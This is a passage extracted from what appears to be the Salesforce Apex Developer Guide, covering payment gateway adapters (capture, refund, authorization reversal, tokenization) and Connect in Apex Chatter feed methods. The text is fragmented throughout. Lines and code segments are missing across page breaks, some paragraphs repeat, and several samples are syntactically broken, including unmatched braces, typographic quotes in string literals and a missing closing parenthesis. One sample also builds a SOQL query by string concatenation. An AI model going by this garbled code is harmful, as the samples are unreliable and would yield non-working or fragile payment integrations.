Finally, the adapter creates a response object to store data from the gateway’s response. The type of response object varies based on
whether you originally made a payment capture request or a refund request.
if ( requestType == commercepayments.RequestType.Capture) {
// Refer to the end of this doc for sample createCaptureResponse implementation
response = createCaptureResponse(res);
354
Apex Developer Guide Using Salesforce Features with Apex
a. From Setup, in the Quick Find box, enter Named Credentials, and then select New..
b. Complete the required fields, including the URL for your payment gateway.
3. Create a payment gateway provider. The PaymentGatewayProvider object stores details about the payment gateway that Salesforce
Payments communicates with when processing a transaction.
a. Generate an access token according to the instructions in Connect to Connect REST API Using OAuth.
The response includes the access token, specified in the access_token property, and the server instance, specified in the
instance_url property. Use this information to make API calls to build the payment gateway provider.
b. Execute a POST call to the resource using the domain in the instance_url. For example,
https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/sobjects/PaymentGatewayProvider.
Use this payload as the request body, replacing value with the correct data.
{
"ApexAdapterId": "value",
"DeveloperName": "value",
"MasterLabel": "value",
"IdempotencySupported": "value",
"Comments": "value"
}
Example:
355
Apex Developer Guide Using Salesforce Features with Apex
{
"ApexAdapterId": "01pxx0000004UU8AAM",
"DeveloperName": "MyNewGatewayProvider",
"MasterLabel": "My New Gateway Provider",
"IdempotencySupported": "Yes",
"Comments": "Custom made gateway provider."
}
4. Create a payment gateway record. The PaymentGateway object stores information about the connection to the external payment
gateway. The record requires these field values.
• Payment Gateway Name: Name of the external payment gateway.
• Merchant Credential ID: ID of the named credential that you created.
• Payment Gateway Provider ID: ID of the payment gateway provider that you created.
• Status: Active
SEE ALSO:
Object Reference for the Salesforce Platform: PaymentGateway
Object Reference for the Salesforce Platform: PaymentGatewayProvider
Note: Payment gateway adapters can’t make future calls, external callouts using System.Http, asynchronous calls, queueable
calls, or execute DMLs using SOQL.
356
Apex Developer Guide Using Salesforce Features with Apex
global commercepayments.GatewayResponse
processRequest(commercepayments.paymentGatewayContext gatewayContext) {
}
global commercepayments.GatewayNotificationResponse
processNotification(commercepayments.PaymentGatewayNotificationContext
gatewayNotificationContext) {
}
}
Finally, the adapter creates a response object to store data from the gateway’s response. The type of response object will vary based on
whether you originally made a payment capture request or a refund request.
if ( requestType == commercepayments.RequestType.Capture) {
// Refer to the end of this doc for sample createCaptureResponse implementation
response = createCaptureResponse(res);
} else if ( requestType == commercepayments.RequestType.ReferencedRefund) {
response = createRefundResponse(res);
}
return response;
357
Apex Developer Guide Using Salesforce Features with Apex
Next, the adapter parses the gateway’s notification request and builds a notification object. The
getPaymentGatewayNotificationRequest method evaluates data from the gateway’s notification request items, which
include status, referenceNumber, event, and amount. The notificationStatus object is set to Success or Failed based on
whether the platform successfully received the notification. If the notification’s event code indicates that the gateway processed a
payment capture transaction, the adapter builds a notification object using the CaptureNotification class. If the event code
indicates that the gateway processed a refund transaction, the adapter builds a notification object using the
ReferencedRefundNotification class.
commercepayments.PaymentGatewayNotificationRequest gatewayNotificationRequest =
gatewayNotificationContext.getPaymentGatewayNotificationRequest();
Blob request = gatewayNotificationRequest.getRequestBody();
SampleNotificationRequest notificationRequest =
SampleNotificationRequest.parse(request.toString().replace('currency', 'currencyCode'));
List<SampleNotificationRequest.NotificationItems> notificationItems =
notificationRequest.notificationItems;
SampleNotificationRequest.NotificationRequestItem notificationRequestItem =
notificationItems[0].NotificationRequestItem;
358
Apex Developer Guide Using Salesforce Features with Apex
}
commercepayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
notification = new commercepayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
notification = new commercepayments.ReferencedRefundNotification();
}
notification.setStatus(notificationStatus);
notification.setGatewayReferenceNumber(pspReference);
notification.setAmount(amount);
The adapter then requests that the payments platform records the results of the notification.
commercepayments.NotificationSaveResult saveResult =
commercepayments.NotificationClient.record(notification);
All asynchronous gateways require that the platform acknowledges that it received the notification, regardless of whether the platform
successfully saved the notification’s data. The platform calls the GatewayNotificationResponse class to send the
acknowledgment.
commercepayments.GatewayNotificationResponse gnr = new
commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
system.debug('Notification accepted by platform');
} else {
system.debug('Errors in the result '+ Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;
Debugging
Usually, Apex debug logs are available in the developer console. However, Salesforce doesn’t store debug logs from the
processNotification method in the developer console. To view this part of the method flow using system.debug, review the
Collect Debug Logs for Guest Users section of Set Up Debug Logging.
359
Apex Developer Guide Using Salesforce Features with Apex
2. Create your payment gateway adapter Apex classes. Asynchronous payment gateways require
that you implement an asynchronous and a synchronous adapter. For information about building gateway adapters in Apex, see
Building an Asynchronous Gateway Adapter and Building a Synchronous Gateway Adapter.
3. Create a named credential in the UI.
a. From Setup, in the Quick Find box, enter Named Credentials, and then select New.
b. Complete the required fields. For the URL, enter the URL of your payment gateway.
4. Create a payment gateway provider. The PaymentGatewayProvider object stores details about the payment gateway that Salesforce
Payments communicates with when processing a transaction.
a. Generate an access token according to the instructions in Connect to Connect REST API Using OAuth.
The response includes the access token, specified in the access_token property, and the server instance, specified in the
instance_url property. Use this information to make API calls to build the payment gateway provider.
b. Execute a POST call to the resource using the domain in the instance_url. For example,
https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/sobjects/PaymentGatewayProvider.
Use this payload as the request body, replacing value with the correct data.
{
"ApexAdapterId": "value",
"DeveloperName": "value",
"MasterLabel": "value",
"IdempotencySupported": "value",
"Comments": "value"
}
Example:
{
"ApexAdapterId": "01pxx0000004UU8AAM",
"DeveloperName": "MyNewGatewayProvider",
"MasterLabel": "My New Gateway Provider",
"IdempotencySupported": "Yes",
"Comments": "Custom made gateway provider."
}
5. Create a payment gateway record. The PaymentGateway object stores information about the connection to an external payment
gateway. The record requires these field values.
• Payment Gateway Name: Name of the external payment gateway.
• Merchant Credential ID: ID of the named credential that you created.
• Payment Gateway Provider ID: ID of the payment gateway provider that you created.
• Status: Active
360
Apex Developer Guide Using Salesforce Features with Apex
6. Create a webhook by providing a URL in the standard notification transport settings of your external payment gateway. The external
payment gateway uses the webhook to send notifications, as HTTP POST messages, to your asynchronous payment gateway adapter.
The webhook is a combination of your site endpoint with the ID of the payment gateway provider.
a. Use the following URL for your site’s endpoint, replacing domain with your site's domain and URL. For example:
https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify
Note: If you’re not using enhanced domains, your org’s Salesforce Sites URL is different. For details, see My Domain URL
Formats in Salesforce Help.
b. Find the ID of your payment gateway provider, and append the ?provider=ID query parameter to the endpoint. For
example,
https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify?provider=0cJR00000004CEhMAM
c. Enter the webhook in your external payment gateway’s standard notification settings.
SEE ALSO:
Object Reference for the Salesforce Platform: PaymentGatewayProvider
Object Reference for the Salesforce Platform: PaymentGateway
Example:
buildCaptureRequest
private String buildCaptureRequest(commercepayments.CaptureRequest captureRequest)
{
Boolean IS_MULTICURRENCY_ORG = UserInfo.isMultiCurrencyOrganization();
QueryUtils qBuilderForAuth = new QueryUtils(PaymentAuthorization.SObjectType);
qBuilderForAuth.getSelectClause().addField('GatewayRefNumber', false);
qBuilderForAuth.setWhereClause(' WHERE Id =' + '\'' +
captureRequest.paymentAuthorizationId + '\'');
PaymentAuthorization authObject =
(PaymentAuthorization)Database.query(qBuilderForAuth.buildSOQL())[0];
jsonGeneratorInstance.writeFieldName('modificationAmount');
jsonGeneratorInstance.writeStartObject();
jsonGeneratorInstance.writeStringField('value',
String.ValueOf((captureRequest.amount * 100.0).intValue()));
jsonGeneratorInstance.writeEndObject();
jsonGeneratorInstance.writeEndObject();
361
Apex Developer Guide Using Salesforce Features with Apex
return jsonGeneratorInstance.getAsString();
}
Example:
createCaptureResponse
private commercepayments.GatewayResponse createCaptureResponse(HttpResponse response)
{
Map<String, Object> mapOfResponseValues = (Map
<String, Object>) JSON.deserializeUntyped(response.getBody());
captureResponse.setGatewayReferenceNumber((String)mapOfResponseValues.get('pspReference'));
captureResponse.setSalesforceResultCodeInfo(new
commercepayments.SalesforceResultCodeInfo(commercepayments.SalesforceResultCode.Success));
return captureResponse;
} else {
system.debug('Response - error - Capture not received by Gateway');
String message = (String)mapOfResponseValues.get('message');
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse(String.valueOf(statusCode), message);
return error;
}
}
362
Apex Developer Guide Using Salesforce Features with Apex
If you want to build a sample authorization reversal, you can also invoke a constructor with arguments for the reversal amount and
payment authorization ID. However, the constructor would only work for test usage and would throw an exception if used outside
of the Apex test context.
commercepayments.AuthorizationReversalRequest authorizationReversalRequest =
new commercepayments.AuthorizationReversalRequest(80, authObj.id);
AuthorizationReversalResponse
The payment gateway adapter sends this class as a response for an Authorization Reversal request type. Extends
AbstractResponse and inherits its methods.
AuthorizationReversalResponse uses a constructor to build an authorization reversal request record in Salesforce. The
AuthorizationReversalResponse constructor takes no arguments. You can invoke it as follows:
Note: Salesforce doesn't support bulk operations or custom fields in the authorization reversal process.
commercepayments.GatewayResponse response;
try {
//add conditions for other requestType values here
//..
else if (requestType == commercepayments.RequestType.AuthorizationReversal) {
response =
createAuthReversalResponse((commercepayments.AuthorizationReversalRequest)gatewayContext.getPaymentRequest());}
return response;
363
Apex Developer Guide Using Salesforce Features with Apex
Then, add a class that sets the amount of the authorization reversal request, gateway information, and the Salesforce result code.
global commercepayments.GatewayResponse
createAuthReversalResponse(commercepayments.AuthorizationReversalRequest authReversalRequest)
{
commercepayments.AuthorizationReversalResponse authReversalResponse = new
commercepayments.AuthorizationReversalResponse();
if(authReversalRequest.amount!=null )
{
authReversalResponse.setAmount(authReversalRequest.amount);
}
else
{
throw new SalesforceValidationException('Required Field Missing : Amount');
system.debug('Response - success');
authReversalResponse.setGatewayDate(system.now());
authReversalResponse.setGatewayResultCode('00');
authReversalResponse.setGatewayResultCodeDescription('Transaction Normal');
//Replace 'xxxxx' with the gateway reference number.
authReversalResponse.setGatewayReferenceNumber('SF'+xxxxx);
authReversalResponse.setSalesforceResultCodeInfo(SUCCESS_SALESFORCE_RESULT_CODE_INFO);
return authReversalResponse;
}
ConnectApi.AuthorizationReversalResponse authorizationReversalResponse =
ConnectApi.Payments.reverseAuthorization(authorizationReversalRequest, authorizationId);
String authReversalId = authorizationReversalResponse.paymentAuthAdjustment.id;
System.debug(authorizationReversalResponse);
System.debug(authReversalId);
364
Apex Developer Guide Using Salesforce Features with Apex
If the payment authorization is associated with an order payment summary, then the reversal amount is added to the order payment
summary’s AuthorizationReversalAmount and subtracted from its AvailableToCaptureAmount. But the
AvailableToCaptureAmount is never below 0, even if a reversal makes its calculation a negative amount.
Note: For an authorization reversal, the payment gateway log’s OrderPaymentSummaryId always defaults to null. If there’s
an associated order payment summary, your code can set the value.
Call the authorization reversal service by making a POST request to the following endpoint.
Endpoint
/commerce/payments/authorizations/${*authorizationId*}/reversals
The service accepts one authorization reversal request per call. The following payment authorization adjustment API parameters are
accepted.
365
Apex Developer Guide Using Salesforce Features with Apex
The resulting payment authorization adjustment in Salesforce would look like this.
If an error is returned, the response contains the gateway's error code and error message.
366
Apex Developer Guide Using Salesforce Features with Apex
Tokenization Service
The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called
a token, used during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card
used for transactions. The token lets you store information about the credit card without storing sensitive customer data, such as credit
card numbers, in Salesforce.
367
Apex Developer Guide Using Salesforce Features with Apex
commercepayments.GatewayResponse response;
try
{
if (requestType == commercepayments.RequestType.Tokenize) {
response =
createTokenizeResponse((commercepayments.PaymentMethodTokenizationRequest)gatewayContext.getPaymentRequest());
}
//Add other else if statements for different request types as needed.
return response;
}
catch(SalesforceValidationException e)
{
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('400', e.getMessage());
return error;
}
}
368
Apex Developer Guide Using Salesforce Features with Apex
The setGatewayTokenEncrypted method is available in Salesforce API v52.0 and later. It uses Salesforce classic encryption to
set the encrypted token value that you can store in GatewayTokenEncrypted on a CardPaymentMethod or DigitalWallet, or in GatewayToken
on an AlternativePaymentMethod. We recommend using setGatewayTokenEncrypted to ensure your tokenized payment
method values are encrypted and secure.
/** @description Method to set Gateway token to persist in Encrypted Text */
global void setGatewayTokenEncrypted(String gatewayTokenEncrypted) {
if (gatewayTokenSet) {
throwTokenError();
}
this.delegate.setGatewayTokenEncrypted(gatewayTokenEncrypted);
gatewayTokenEncryptedSet = true;
}
If the instantiated class already has a gateway token, setGatewayTokenEncrypted throws an error.
Note: While the PaymentMethodTokenizationResponse's setGatewayToken method (available in API v48.0 and later) also
returns a payment method token, the tokenized value isn't encrypted.
The Tokenization Service accepts these request parameters from payment and related entities.
369
Apex Developer Guide Using Salesforce Features with Apex
"additionalData":{
//add additional information if needed
"key1":"value1",
370
Apex Developer Guide Using Salesforce Features with Apex
"key2":"value2",
"key3":"value3",
"key4":"value4",
"key5":"value5"
}
}
A successful tokenization response updates the payment method and provides information about the gateway response and any
payment gateway logs.
{
"paymentMethod": {
"id": "03OR0000000xxxxxxx",
"accountId" : "001xx000000xxxxxxx",
"status" : "Active"
},
"gatewayResponse" : {
"gatewayResultCode": "00",
"gatewayResultCodeDescription": "Transaction Normal",
"gatewayDate": "2020-12-08T04:03:20.000Z",
"gatewayAvsCode" : "7638788018713617",
"gatewayMessage" : "8313990738208498",
"salesforceResultCode": "Success",
"gatewayTokenEncrypted" : "SF701252"
}
"paymentGatewayLogs" : [ {
"createdDate" : "2020-12-08T04:03:20.000Z",
"gatewayResultCode" : "00",
"id" : "0XtR0000000xxxxxxx",
"interactionStatus" : "NoOp"
} ],
}
371
Apex Developer Guide Using Salesforce Features with Apex
Example: Let's say you wanted to make an alternative payment method for GiroPay. First, create an
AlternativePaymentMethod record type.
New RecordType
/services/data/v51.0/sobjects/RecordType
{
"Name" : "Giro Pay",
"DeveloperName" : "GiroPay",
"SobjectType" : "AlternativePaymentMethod"
}
Next, create an alternative payment method record for the AlternativePaymentMethod record type.
New AlternativePaymentMethod
/services/data/v51.0/sobjects/AlternativePaymentMethod
{
"ProcessingMode": "External",
"status":"Active",
"GatewayToken":"mHkDsh0oIA3mnWjo9UL",
"NickName" : "MyGiroPay",
"RecordTypeId" : "{record_type_id}"
}
Process Payments
Process a payment in the payment gateway.
EDITIONS
To access commercepayments API, you need the PaymentPlatform org permission.
Available in: Salesforce
1. Get the payment capture request object from the PaymentGatewayContext Class.
Spring ’20
commercepayments.CaptureRequest =
(commercepayments.CaptureRequest)gatewayContext.getPaymentRequest()
372
Apex Developer Guide Using Salesforce Features with Apex
3. Read the parameters from the CaptureRequest object and prepare the HTTP request body.
4. Make the HTTP call to the gateway using the PaymentsHttp Class.
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = http.send(req);
captureResponse.setGatewayReferenceDetails(“”);
captureResponse.setAmount(double.valueOf(100);
Process Refund
Process a refund in the payment gateway.
EDITIONS
To access the commercepayments API, you need the PaymentPlatform org permission.
Available in: Salesforce
1. Get the referenced refund request object from the PaymentGatewayContext Class.
Spring ’20
commercepayments.ReferencedRefundRequest =
(commercepayments.ReferencedRefundRequest)gatewayContext.getPaymentRequest();
3. Read the parameters from the ReferencedRefundRequest object and prepare the HTTP request body.
4. Make the HTTP call to the gateway using thePaymentsHttp Class.
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = http.send(req);
373
Apex Developer Guide Using Salesforce Features with Apex
referencedRefundResponse.setSalesforceResultCodeInfo(getSalesforceResultCodeInfo(commercepayments.SalesforceResultCode.SUCCESS.name()));
referencedRefundResponse.setGatewayReferenceDetails(“”);
referencedRefundResponse.setAmount(double.valueOf(100);
Idempotency Guidelines
Idempotency represents the ability of a payment gateway to recognize duplicate requests submitted
EDITIONS
either in error or maliciously, and then process the duplicate requests accordingly. When working
with an idempotent gateway, consider these important guidelines. Available in: Salesforce
To access the commercepayments API, you need the PaymentPlatform org permission. Spring ’20
The payment gateway adapter class is linked to a paymentGatewayProvider object record. CCS
Payments provides its own layer of idempotency for its own service request. Each payment gateway
can also specify their idempotencySupported value in the paymentGatewayProvider object record. If Salesforce CCS Payment
APIs detects a duplicate request and the gateway provider supports idempotency, the request body’s duplicate parameter becomes
True.
commercepayments.CaptureRequest request =
(commercepayments.CaptureRequest)paymentGatewayContext.getPaymentRequest();
Boolean isDuplicate = requestObject.duplicate
Connect in Apex
Use Connect in Apex to develop custom experiences in Salesforce. Connect in Apex provides programmatic access to B2B Commerce,
CMS managed content, Experience Cloud sites, topics, and more. Create Apex pages that display Chatter feeds, post feed items with
mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.
Many Connect REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace. These
methods use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to as Connect
in Apex.
In Apex, you can access some Connect data using SOQL queries and objects. However, it’s simpler to expose data in ConnectApi
classes, and data is localized and structured for display. For example, instead of making several calls to access and assemble a feed, you
can do it with a single call.
Connect in Apex methods execute in the context of the user executing the methods. The code has access to whatever the context user
has access to. It doesn’t run in system mode like other Apex code.
For Connect in Apex reference information, see ConnectApi Namespace.
374
Apex Developer Guide Using Salesforce Features with Apex
375
Apex Developer Guide Using Salesforce Features with Apex
376
Apex Developer Guide Using Salesforce Features with Apex
Edit a Comment
Call a method to edit a comment.
Follow a Record
Call a method to follow a record.
Unfollow a Record
Call a method to stop following a record.
Get a Repository
Call a method to get a repository.
Get Repositories
Call a method to get all repositories.
Get Allowed Item Types
Call a method to get allowed item types.
Get Previews
Call a method to get all supported preview formats and their respective URLs.
Get a File Preview
Call a method to get a file preview.
Get Repository Folder Items
Call a method to get a collection of repository folder items.
Get a Repository Folder
Call a method to get a repository folder.
Get a Repository File Without Permissions Information
Call a method to get a repository file without permission information.
Get a Repository File with Permissions Information
Call a method to get a repository file with permission information.
Create a Repository File Without Content (Metadata Only)
Call a method to create a file without binary content (metadata only) in a Google Drive repository folder.
Create a Repository File with Content
Call a method to create a file with binary content in a Google Drive repository folder.
Update a Repository File Without Content (Metadata Only)
Call a method to update the metadata of a repository file.
Update a Repository File with Content
Call a method to update a repository file with content.
Get an Authentication URL
Call a method to get an authentication URL.
Resolve a Prompt Template
Call a method to resolve a prompt template.
Create a Cart and Cart Item with Custom Fields in a Commerce Store
Create a cart with a cart item using custom fields for a buyer or guest user in your Commerce store.
377
Apex Developer Guide Using Salesforce Features with Apex
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature may specify the feed type and the subject ID. Another signature
could have those parameters and an additional parameter to specify the maximum number of comments to return for each feed element.
Tip: Each signature operates on certain feed types. Use the signatures that operate on the ConnectApi.FeedType.Record
to get group feeds, since a group is a record type.
SEE ALSO:
Apex Reference Guide: ChatterFeeds Class
This example calls the same method to get the first page of feed elements from another user’s record feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.Record, '005R0000000HwMA');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature can specify the feed type and the subject ID. Another signature
could have those parameters and an extra parameter to specify the maximum number of comments to return for each feed element.
378
Apex Developer Guide Using Salesforce Features with Apex
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
The second parameter, subjectId is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or
record, or the string me to indicate the context user.
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
379
Apex Developer Guide Using Salesforce Features with Apex
feedItemInput.subjectId = 'me';
feedItemInput.capabilities = feedElementCapabilitiesInput;
380
Apex Developer Guide Using Salesforce Features with Apex
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
SEE ALSO:
Apex Reference Guide: ConnectApi.MarkupBeginSegmentInput
Apex Reference Guide: ConnectApi.MarkupEndSegmentInput
Apex Reference Guide: ConnectApi.InlineImageSegmentInput
381
Apex Developer Guide Using Salesforce Features with Apex
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
SEE ALSO:
Apex Reference Guide: ConnectApi.MarkupBeginSegmentInput
Apex Reference Guide: ConnectApi.MarkupEndSegmentInput
Important: In version 36.0 and later, you can’t post a feed element with a new file in the same call. Upload files to Salesforce first,
and then specify existing files when posting a feed element.
This example calls postFeedElement(communityId, feedElement, feedElementFileUpload) to post a feed
item with a new file (binary) attachment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';
input.capabilities = capabilities;
382
Apex Developer Guide Using Salesforce Features with Apex
input.subjectId = a.id;
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
Important: This example is valid in version 32.0–35.0. In version 36.0 and later, you can’t post a batch of feed elements with a
new file in the same call. Upload the file to Salesforce first, and then specify the uploaded file when posting a batch of feed elements.
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts. Each post has a new file (binary) attachment.
trigger postFeedItemToAccountWithBinary on Account (after insert) {
Account[] accounts = Trigger.new;
383
Apex Developer Guide Using Salesforce Features with Apex
input.subjectId = a.id;
body.messageSegments.add(textSegment);
input.body = body;
input.capabilities = capabilities;
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
384
Apex Developer Guide Using Salesforce Features with Apex
When a user clicks the action link, the action link requests the Connect REST API resource /chatter/feed-elements, which
posts a feed item to the user’s feed. After the user clicks the action link and it executes successfully, its status changes to successful and
the feed item UI is updated.
385
Apex Developer Guide Using Salesforce Features with Apex
This simple example shows you how to use action links to call a Salesforce resource.
Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (labelKey). An action link
group definition also includes other properties like a URL (actionUrl), an HTTP method (method), and an optional request body
(requestBody) and HTTP headers (headers).
When a user clicks this action link, an HTTP POST request is made to a Connect REST API resource, which posts a feed item to Chatter.
The requestBody property holds the request body for the actionUrl resource, including the text of the new feed item. In this
example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action
links.
Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are
mutually exclusive (you can click only one action link within a group). Even if you define only one action link, it must be part of an action
link group.
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It saves the action link group ID from that call and associates it with a feed element in a call to
ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement).
To use this code, substitute an OAuth value for your own Salesforce org. Also, verify that the expirationDate is in the future. Look
for the “To Do” comments in the code.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
386
Apex Developer Guide Using Salesforce Features with Apex
requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
387
Apex Developer Guide Using Salesforce Features with Apex
Field Value
Name Doc Example
Field Value
Action Link Group Template Doc Example
388
Apex Developer Guide Using Salesforce Features with Apex
Field Value
User Visibility Everyone can see
Position 0
4. Go back to the Action Link Group Template and select Published. Click Save.
Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It calls ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to associate the action
link group with a feed item and post it.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
389
Apex Developer Guide Using Salesforce Features with Apex
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
390
Apex Developer Guide Using Salesforce Features with Apex
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
feedItemInput.body = messageBodyInput;
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
391
Apex Developer Guide Using Salesforce Features with Apex
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
392
Apex Developer Guide Using Salesforce Features with Apex
393
Apex Developer Guide Using Salesforce Features with Apex
feedItemInput.capabilities = feedElementCapabilitiesInput;
Post a Comment
Call a method to post a comment.
Call postCommentToFeedElement(communityId, feedElementId, text) to post a plain text comment to a feed
element.
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh', 'I agree with the proposal.' );
mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
commentInput.body = messageBodyInput;
394
Apex Developer Guide Using Salesforce Features with Apex
To post a comment and attach an existing file (already uploaded to Salesforce) to the comment, create a
ConnectApi.CommentInput object to pass to postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload).
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
395
Apex Developer Guide Using Salesforce Features with Apex
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.title = 'Title';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);
396
Apex Developer Guide Using Salesforce Features with Apex
input.body = messageInput;
input.body = messageInput;
397
Apex Developer Guide Using Salesforce Features with Apex
Edit a Comment
Call a method to edit a comment.
Call updateComment(communityId, commentId, comment) to edit a comment.
String commentId;
String communityId = Network.getNetworkId();
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
// Return null within anonymous apex.
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
if (isEditable.isEditableByMe == true){
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
commentInput.body = messageBodyInput;
Follow a Record
Call a method to follow a record.
398
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Unfollow a Record
Unfollow a Record
Call a method to stop following a record.
When you follow a record such as a user, the call to ConnectApi.ChatterUsers.follow returns a
ConnectApi.Subscription object. To unfollow a record, pass the id property of that object to
deleteSubscription(communityId, subscriptionId).
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
Get a Repository
Call a method to get a repository.
Call getRepository(repositoryId) to get a repository.
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
Get Repositories
Call a method to get all repositories.
Call getRepositories() to get all repositories and get the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
